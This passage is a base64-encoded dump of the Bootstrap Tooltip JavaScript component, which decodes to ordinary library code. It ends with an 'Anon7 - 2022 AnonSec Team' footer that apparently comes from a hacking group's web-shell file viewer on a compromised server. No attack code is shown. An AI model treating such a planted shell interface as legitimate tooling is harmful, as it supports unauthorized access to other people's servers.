GF0YS1icy1vcmlnaW5hbC10aXRsZScpOwogICAgaWYgKCF0aXRsZSkgewogICAgICB0aXRsZSA9IHR5cGVvZiB0aGlzLl9jb25maWcudGl0bGUgPT09ICdmdW5jdGlvbicgPyB0aGlzLl9jb25maWcudGl0bGUuY2FsbCh0aGlzLl9lbGVtZW50KSA6IHRoaXMuX2NvbmZpZy50aXRsZTsKICAgIH0KICAgIHJldHVybiB0aXRsZTsKICB9CiAgdXBkYXRlQXR0YWNobWVudChhdHRhY2htZW50KSB7CiAgICBpZiAoYXR0YWNobWVudCA9PT0gJ3JpZ2h0JykgewogICAgICByZXR1cm4gJ2VuZCc7CiAgICB9CiAgICBpZiAoYXR0YWNobWVudCA9PT0gJ2xlZnQnKSB7CiAgICAgIHJldHVybiAnc3RhcnQnOwogICAgfQogICAgcmV0dXJuIGF0dGFjaG1lbnQ7CiAgfQoKICAvLyBQcml2YXRlCgogIF9pbml0aWFsaXplT25EZWxlZ2F0ZWRUYXJnZXQoZXZlbnQsIGNvbnRleHQpIHsKICAgIGNvbnN0IGRhdGFLZXkgPSB0aGlzLmNvbnN0cnVjdG9yLkRBVEFfS0VZOwogICAgY29udGV4dCA9IGNvbnRleHQgfHwgRGF0YS5nZXQoZXZlbnQuZGVsZWdhdGVUYXJnZXQsIGRhdGFLZXkpOwogICAgaWYgKCFjb250ZXh0KSB7CiAgICAgIGNvbnRleHQgPSBuZXcgdGhpcy5jb25zdHJ1Y3RvcihldmVudC5kZWxlZ2F0ZVRhcmdldCwgdGhpcy5fZ2V0RGVsZWdhdGVDb25maWcoKSk7CiAgICAgIERhdGEuc2V0KGV2ZW50LmRlbGVnYXRlVGFyZ2V0LCBkYXRhS2V5LCBjb250ZXh0KTsKICAgIH0KICAgIHJldHVybiBjb250ZXh0OwogIH0KICBfZ2V0T2Zmc2V0KCkgewogICAgY29uc3QgewogICAgICBvZmZzZXQKICAgIH0gPSB0aGlzLl9jb25maWc7CiAgICBpZiAodHlwZW9mIG9mZnNldCA9PT0gJ3N0cmluZycpIHsKICAgICAgcmV0dXJuIG9mZnNldC5zcGxpdCgnLCcpLm1hcCh2YWwgPT4gTnVtYmVyLnBhcnNlSW50KHZhbCwgMTApKTsKICAgIH0KICAgIGlmICh0eXBlb2Ygb2Zmc2V0ID09PSAnZnVuY3Rpb24nKSB7CiAgICAgIHJldHVybiBwb3BwZXJEYXRhID0+IG9mZnNldChwb3BwZXJEYXRhLCB0aGlzLl9lbGVtZW50KTsKICAgIH0KICAgIHJldHVybiBvZmZzZXQ7CiAgfQogIF9nZXRQb3BwZXJDb25maWcoYXR0YWNobWVudCkgewogICAgY29uc3QgZGVmYXVsdEJzUG9wcGVyQ29uZmlnID0gewogICAgICBwbGFjZW1lbnQ6IGF0dGFjaG1lbnQsCiAgICAgIG1vZGlmaWVyczogW3sKICAgICAgICBuYW1lOiAnZmxpcCcsCiAgICAgICAgb3B0aW9uczogewogICAgICAgICAgZmFsbGJhY2tQbGFjZW1lbnRzOiB0aGlzLl9jb25maWcuZmFsbGJhY2tQbGFjZW1lbnRzCiAgICAgICAgfQogICAgICB9LCB7CiAgICAgICAgbmFtZTogJ29mZnNldCcsCiAgICAgICAgb3B0aW9uczogewogICAgICAgICAgb2Zmc2V0OiB0aGlzLl9nZXRPZmZzZXQoKQogICAgICAgIH0KICAgICAgfSwgewogICAgICAgIG5hbWU6ICdwcmV2ZW50T3ZlcmZsb3cnLAogICAgICAgIG9wdGlvbnM6IHsKICAgICAgICAgIGJvdW5kYXJ5OiB0aGlzLl9jb25maWcuYm91bmRhcnkKICAgICAgICB9CiAgICAgIH0sIHsKICAgICAgICBuYW1lOiAnYXJyb3cnLAogICAgICAgIG9wdGlvbnM6IHsKICAgICAgICAgIGVsZW1lbnQ6IGAuJHt0aGlzLmNvbnN0cnVjdG9yLk5BTUV9LWFycm93YAogICAgICAgIH0KICAgICAgfSwgewogICAgICAgIG5hbWU6ICdvbkNoYW5nZScsCiAgICAgICAgZW5hYmxlZDogdHJ1ZSwKICAgICAgICBwaGFzZTogJ2FmdGVyV3JpdGUnLAogICAgICAgIGZuOiBkYXRhID0+IHRoaXMuX2hhbmRsZVBvcHBlclBsYWNlbWVudENoYW5nZShkYXRhKQogICAgICB9XSwKICAgICAgb25GaXJzdFVwZGF0ZTogZGF0YSA9PiB7CiAgICAgICAgaWYgKGRhdGEub3B0aW9ucy5wbGFjZW1lbnQgIT09IGRhdGEucGxhY2VtZW50KSB7CiAgICAgICAgICB0aGlzLl9oYW5kbGVQb3BwZXJQbGFjZW1lbnRDaGFuZ2UoZGF0YSk7CiAgICAgICAgfQogICAgICB9CiAgICB9OwogICAgcmV0dXJuIHsKICAgICAgLi4uZGVmYXVsdEJzUG9wcGVyQ29uZmlnLAogICAgICAuLi4odHlwZW9mIHRoaXMuX2NvbmZpZy5wb3BwZXJDb25maWcgPT09ICdmdW5jdGlvbicgPyB0aGlzLl9jb25maWcucG9wcGVyQ29uZmlnKGRlZmF1bHRCc1BvcHBlckNvbmZpZykgOiB0aGlzLl9jb25maWcucG9wcGVyQ29uZmlnKQogICAgfTsKICB9CiAgX2FkZEF0dGFjaG1lbnRDbGFzcyhhdHRhY2htZW50KSB7CiAgICB0aGlzLmdldFRpcEVsZW1lbnQoKS5jbGFzc0xpc3QuYWRkKGAke0NMQVNTX1BSRUZJWH0tJHt0aGlzLnVwZGF0ZUF0dGFjaG1lbnQoYXR0YWNobWVudCl9YCk7CiAgfQogIF9nZXRBdHRhY2htZW50KHBsYWNlbWVudCkgewogICAgcmV0dXJuIEF0dGFjaG1lbnRNYXBbcGxhY2VtZW50LnRvVXBwZXJDYXNlKCldOwogIH0KICBfc2V0TGlzdGVuZXJzKCkgewogICAgY29uc3QgdHJpZ2dlcnMgPSB0aGlzLl9jb25maWcudHJpZ2dlci5zcGxpdCgnICcpOwogICAgdHJpZ2dlcnMuZm9yRWFjaCh0cmlnZ2VyID0+IHsKICAgICAgaWYgKHRyaWdnZXIgPT09ICdjbGljaycpIHsKICAgICAgICBFdmVudEhhbmRsZXIub24odGhpcy5fZWxlbWVudCwgdGhpcy5jb25zdHJ1Y3Rvci5FdmVudC5DTElDSywgdGhpcy5fY29uZmlnLnNlbGVjdG9yLCBldmVudCA9PiB0aGlzLnRvZ2dsZShldmVudCkpOwogICAgICB9IGVsc2UgaWYgKHRyaWdnZXIgIT09IFRSSUdHRVJfTUFOVUFMKSB7CiAgICAgICAgY29uc3QgZXZlbnRJbiA9IHRyaWdnZXIgPT09IFRSSUdHRVJfSE9WRVIgPyB0aGlzLmNvbnN0cnVjdG9yLkV2ZW50Lk1PVVNFRU5URVIgOiB0aGlzLmNvbnN0cnVjdG9yLkV2ZW50LkZPQ1VTSU47CiAgICAgICAgY29uc3QgZXZlbnRPdXQgPSB0cmlnZ2VyID09PSBUUklHR0VSX0hPVkVSID8gdGhpcy5jb25zdHJ1Y3Rvci5FdmVudC5NT1VTRUxFQVZFIDogdGhpcy5jb25zdHJ1Y3Rvci5FdmVudC5GT0NVU09VVDsKICAgICAgICBFdmVudEhhbmRsZXIub24odGhpcy5fZWxlbWVudCwgZXZlbnRJbiwgdGhpcy5fY29uZmlnLnNlbGVjdG9yLCBldmVudCA9PiB0aGlzLl9lbnRlcihldmVudCkpOwogICAgICAgIEV2ZW50SGFuZGxlci5vbih0aGlzLl9lbGVtZW50LCBldmVudE91dCwgdGhpcy5fY29uZmlnLnNlbGVjdG9yLCBldmVudCA9PiB0aGlzLl9sZWF2ZShldmVudCkpOwogICAgICB9CiAgICB9KTsKICAgIHRoaXMuX2hpZGVNb2RhbEhhbmRsZXIgPSAoKSA9PiB7CiAgICAgIGlmICh0aGlzLl9lbGVtZW50KSB7CiAgICAgICAgdGhpcy5oaWRlKCk7CiAgICAgIH0KICAgIH07CiAgICBFdmVudEhhbmRsZXIub24odGhpcy5fZWxlbWVudC5jbG9zZXN0KGAuJHtDTEFTU19OQU1FX01PREFMfWApLCAnaGlkZS5icy5tb2RhbCcsIHRoaXMuX2hpZGVNb2RhbEhhbmRsZXIpOwogICAgaWYgKHRoaXMuX2NvbmZpZy5zZWxlY3RvcikgewogICAgICB0aGlzLl9jb25maWcgPSB7CiAgICAgICAgLi4udGhpcy5fY29uZmlnLAogICAgICAgIHRyaWdnZXI6ICdtYW51YWwnLAogICAgICAgIHNlbGVjdG9yOiAnJwogICAgICB9OwogICAgfSBlbHNlIHsKICAgICAgdGhpcy5fZml4VGl0bGUoKTsKICAgIH0KICB9CiAgX2ZpeFRpdGxlKCkgewogICAgY29uc3QgdGl0bGUgPSB0aGlzLl9lbGVtZW50LmdldEF0dHJpYnV0ZSgndGl0bGUnKTsKICAgIGNvbnN0IG9yaWdpbmFsVGl0bGVUeXBlID0gdHlwZW9mIHRoaXMuX2VsZW1lbnQuZ2V0QXR0cmlidXRlKCdkYXRhLWJzLW9yaWdpbmFsLXRpdGxlJyk7CiAgICBpZiAodGl0bGUgfHwgb3JpZ2luYWxUaXRsZVR5cGUgIT09ICdzdHJpbmcnKSB7CiAgICAgIHRoaXMuX2VsZW1lbnQuc2V0QXR0cmlidXRlKCdkYXRhLWJzLW9yaWdpbmFsLXRpdGxlJywgdGl0bGUgfHwgJycpOwogICAgICBpZiAodGl0bGUgJiYgIXRoaXMuX2VsZW1lbnQuZ2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJykgJiYgIXRoaXMuX2VsZW1lbnQudGV4dENvbnRlbnQpIHsKICAgICAgICB0aGlzLl9lbGVtZW50LnNldEF0dHJpYnV0ZSgnYXJpYS1sYWJlbCcsIHRpdGxlKTsKICAgICAgfQogICAgICB0aGlzLl9lbGVtZW50LnNldEF0dHJpYnV0ZSgndGl0bGUnLCAnJyk7CiAgICB9CiAgfQogIF9lbnRlcihldmVudCwgY29udGV4dCkgewogICAgY29udGV4dCA9IHRoaXMuX2luaXRpYWxpemVPbkRlbGVnYXRlZFRhcmdldChldmVudCwgY29udGV4dCk7CiAgICBpZiAoZXZlbnQpIHsKICAgICAgY29udGV4dC5fYWN0aXZlVHJpZ2dlcltldmVudC50eXBlID09PSAnZm9jdXNpbicgPyBUUklHR0VSX0ZPQ1VTIDogVFJJR0dFUl9IT1ZFUl0gPSB0cnVlOwogICAgfQogICAgaWYgKGNvbnRleHQuZ2V0VGlwRWxlbWVudCgpLmNsYXNzTGlzdC5jb250YWlucyhDTEFTU19OQU1FX1NIT1cpIHx8IGNvbnRleHQuX2hvdmVyU3RhdGUgPT09IEhPVkVSX1NUQVRFX1NIT1cpIHsKICAgICAgY29udGV4dC5faG92ZXJTdGF0ZSA9IEhPVkVSX1NUQVRFX1NIT1c7CiAgICAgIHJldHVybjsKICAgIH0KICAgIGNsZWFyVGltZW91dChjb250ZXh0Ll90aW1lb3V0KTsKICAgIGNvbnRleHQuX2hvdmVyU3RhdGUgPSBIT1ZFUl9TVEFURV9TSE9XOwogICAgaWYgKCFjb250ZXh0Ll9jb25maWcuZGVsYXkgfHwgIWNvbnRleHQuX2NvbmZpZy5kZWxheS5zaG93KSB7CiAgICAgIGNvbnRleHQuc2hvdygpOwogICAgICByZXR1cm47CiAgICB9CiAgICBjb250ZXh0Ll90aW1lb3V0ID0gc2V0VGltZW91dCgoKSA9PiB7CiAgICAgIGlmIChjb250ZXh0Ll9ob3ZlclN0YXRlID09PSBIT1ZFUl9TVEFURV9TSE9XKSB7CiAgICAgICAgY29udGV4dC5zaG93KCk7CiAgICAgIH0KICAgIH0sIGNvbnRleHQuX2NvbmZpZy5kZWxheS5zaG93KTsKICB9CiAgX2xlYXZlKGV2ZW50LCBjb250ZXh0KSB7CiAgICBjb250ZXh0ID0gdGhpcy5faW5pdGlhbGl6ZU9uRGVsZWdhdGVkVGFyZ2V0KGV2ZW50LCBjb250ZXh0KTsKICAgIGlmIChldmVudCkgewogICAgICBjb250ZXh0Ll9hY3RpdmVUcmlnZ2VyW2V2ZW50LnR5cGUgPT09ICdmb2N1c291dCcgPyBUUklHR0VSX0ZPQ1VTIDogVFJJR0dFUl9IT1ZFUl0gPSBjb250ZXh0Ll9lbGVtZW50LmNvbnRhaW5zKGV2ZW50LnJlbGF0ZWRUYXJnZXQpOwogICAgfQogICAgaWYgKGNvbnRleHQuX2lzV2l0aEFjdGl2ZVRyaWdnZXIoKSkgewogICAgICByZXR1cm47CiAgICB9CiAgICBjbGVhclRpbWVvdXQoY29udGV4dC5fdGltZW91dCk7CiAgICBjb250ZXh0Ll9ob3ZlclN0YXRlID0gSE9WRVJfU1RBVEVfT1VUOwogICAgaWYgKCFjb250ZXh0Ll9jb25maWcuZGVsYXkgfHwgIWNvbnRleHQuX2NvbmZpZy5kZWxheS5oaWRlKSB7CiAgICAgIGNvbnRleHQuaGlkZSgpOwogICAgICByZXR1cm47CiAgICB9CiAgICBjb250ZXh0Ll90aW1lb3V0ID0gc2V0VGltZW91dCgoKSA9PiB7CiAgICAgIGlmIChjb250ZXh0Ll9ob3ZlclN0YXRlID09PSBIT1ZFUl9TVEFURV9PVVQpIHsKICAgICAgICBjb250ZXh0LmhpZGUoKTsKICAgICAgfQogICAgfSwgY29udGV4dC5fY29uZmlnLmRlbGF5LmhpZGUpOwogIH0KICBfaXNXaXRoQWN0aXZlVHJpZ2dlcigpIHsKICAgIGZvciAoY29uc3QgdHJpZ2dlciBpbiB0aGlzLl9hY3RpdmVUcmlnZ2VyKSB7CiAgICAgIGlmICh0aGlzLl9hY3RpdmVUcmlnZ2VyW3RyaWdnZXJdKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgIH0KICAgIH0KICAgIHJldHVybiBmYWxzZTsKICB9CiAgX2dldENvbmZpZyhjb25maWcpIHsKICAgIGNvbnN0IGRhdGFBdHRyaWJ1dGVzID0gTWFuaXB1bGF0b3IuZ2V0RGF0YUF0dHJpYnV0ZXModGhpcy5fZWxlbWVudCk7CiAgICBPYmplY3Qua2V5cyhkYXRhQXR0cmlidXRlcykuZm9yRWFjaChkYXRhQXR0ciA9PiB7CiAgICAgIGlmIChESVNBTExPV0VEX0FUVFJJQlVURVMuaGFzKGRhdGFBdHRyKSkgewogICAgICAgIGRlbGV0ZSBkYXRhQXR0cmlidXRlc1tkYXRhQXR0cl07CiAgICAgIH0KICAgIH0pOwogICAgY29uZmlnID0gewogICAgICAuLi50aGlzLmNvbnN0cnVjdG9yLkRlZmF1bHQsCiAgICAgIC4uLmRhdGFBdHRyaWJ1dGVzLAogICAgICAuLi4odHlwZW9mIGNvbmZpZyA9PT0gJ29iamVjdCcgJiYgY29uZmlnID8gY29uZmlnIDoge30pCiAgICB9OwogICAgY29uZmlnLmNvbnRhaW5lciA9IGNvbmZpZy5jb250YWluZXIgPT09IGZhbHNlID8gZG9jdW1lbnQuYm9keSA6IGdldEVsZW1lbnQoY29uZmlnLmNvbnRhaW5lcik7CiAgICBpZiAodHlwZW9mIGNvbmZpZy5kZWxheSA9PT0gJ251bWJlcicpIHsKICAgICAgY29uZmlnLmRlbGF5ID0gewogICAgICAgIHNob3c6IGNvbmZpZy5kZWxheSwKICAgICAgICBoaWRlOiBjb25maWcuZGVsYXkKICAgICAgfTsKICAgIH0KICAgIGlmICh0eXBlb2YgY29uZmlnLnRpdGxlID09PSAnbnVtYmVyJykgewogICAgICBjb25maWcudGl0bGUgPSBjb25maWcudGl0bGUudG9TdHJpbmcoKTsKICAgIH0KICAgIGlmICh0eXBlb2YgY29uZmlnLmNvbnRlbnQgPT09ICdudW1iZXInKSB7CiAgICAgIGNvbmZpZy5jb250ZW50ID0gY29uZmlnLmNvbnRlbnQudG9TdHJpbmcoKTsKICAgIH0KICAgIHR5cGVDaGVja0NvbmZpZyhOQU1FLCBjb25maWcsIHRoaXMuY29uc3RydWN0b3IuRGVmYXVsdFR5cGUpOwogICAgaWYgKGNvbmZpZy5zYW5pdGl6ZSkgewogICAgICBjb25maWcudGVtcGxhdGUgPSBzYW5pdGl6ZUh0bWwoY29uZmlnLnRlbXBsYXRlLCBjb25maWcuYWxsb3dMaXN0LCBjb25maWcuc2FuaXRpemVGbik7CiAgICB9CiAgICByZXR1cm4gY29uZmlnOwogIH0KICBfZ2V0RGVsZWdhdGVDb25maWcoKSB7CiAgICBjb25zdCBjb25maWcgPSB7fTsKICAgIGlmICh0aGlzLl9jb25maWcpIHsKICAgICAgZm9yIChjb25zdCBrZXkgaW4gdGhpcy5fY29uZmlnKSB7CiAgICAgICAgaWYgKHRoaXMuY29uc3RydWN0b3IuRGVmYXVsdFtrZXldICE9PSB0aGlzLl9jb25maWdba2V5XSkgewogICAgICAgICAgY29uZmlnW2tleV0gPSB0aGlzLl9jb25maWdba2V5XTsKICAgICAgICB9CiAgICAgIH0KICAgIH0KICAgIHJldHVybiBjb25maWc7CiAgfQogIF9jbGVhblRpcENsYXNzKCkgewogICAgY29uc3QgdGlwID0gdGhpcy5nZXRUaXBFbGVtZW50KCk7CiAgICBjb25zdCB0YWJDbGFzcyA9IHRpcC5nZXRBdHRyaWJ1dGUoJ2NsYXNzJykubWF0Y2goQlNDTFNfUFJFRklYX1JFR0VYKTsKICAgIGlmICh0YWJDbGFzcyAhPT0gbnVsbCAmJiB0YWJDbGFzcy5sZW5ndGggPiAwKSB7CiAgICAgIHRhYkNsYXNzLm1hcCh0b2tlbiA9PiB0b2tlbi50cmltKCkpLmZvckVhY2godENsYXNzID0+IHRpcC5jbGFzc0xpc3QucmVtb3ZlKHRDbGFzcykpOwogICAgfQogIH0KICBfaGFuZGxlUG9wcGVyUGxhY2VtZW50Q2hhbmdlKHBvcHBlckRhdGEpIHsKICAgIGNvbnN0IHsKICAgICAgc3RhdGUKICAgIH0gPSBwb3BwZXJEYXRhOwogICAgaWYgKCFzdGF0ZSkgewogICAgICByZXR1cm47CiAgICB9CiAgICB0aGlzLnRpcCA9IHN0YXRlLmVsZW1lbnRzLnBvcHBlcjsKICAgIHRoaXMuX2NsZWFuVGlwQ2xhc3MoKTsKICAgIHRoaXMuX2FkZEF0dGFjaG1lbnRDbGFzcyh0aGlzLl9nZXRBdHRhY2htZW50KHN0YXRlLnBsYWNlbWVudCkpOwogIH0KCiAgLy8gU3RhdGljCgogIHN0YXRpYyBqUXVlcnlJbnRlcmZhY2UoY29uZmlnKSB7CiAgICByZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uICgpIHsKICAgICAgY29uc3QgZGF0YSA9IFRvb2x0aXAuZ2V0T3JDcmVhdGVJbnN0YW5jZSh0aGlzLCBjb25maWcpOwogICAgICBpZiAodHlwZW9mIGNvbmZpZyA9PT0gJ3N0cmluZycpIHsKICAgICAgICBpZiAodHlwZW9mIGRhdGFbY29uZmlnXSA9PT0gJ3VuZGVmaW5lZCcpIHsKICAgICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoYE5vIG1ldGhvZCBuYW1lZCAiJHtjb25maWd9ImApOwogICAgICAgIH0KICAgICAgICBkYXRhW2NvbmZpZ10oKTsKICAgICAgfQogICAgfSk7CiAgfQp9CgovKioKICogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAqIGpRdWVyeQogKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICogYWRkIC5Ub29sdGlwIHRvIGpRdWVyeSBvbmx5IGlmIGpRdWVyeSBpcyBwcmVzZW50CiAqLwoKZGVmaW5lSlF1ZXJ5UGx1Z2luKFRvb2x0aXApOwpleHBvcnQgZGVmYXVsdCBUb29sdGlwOw=="},null]}

Anon7 - 2022
AnonSec Team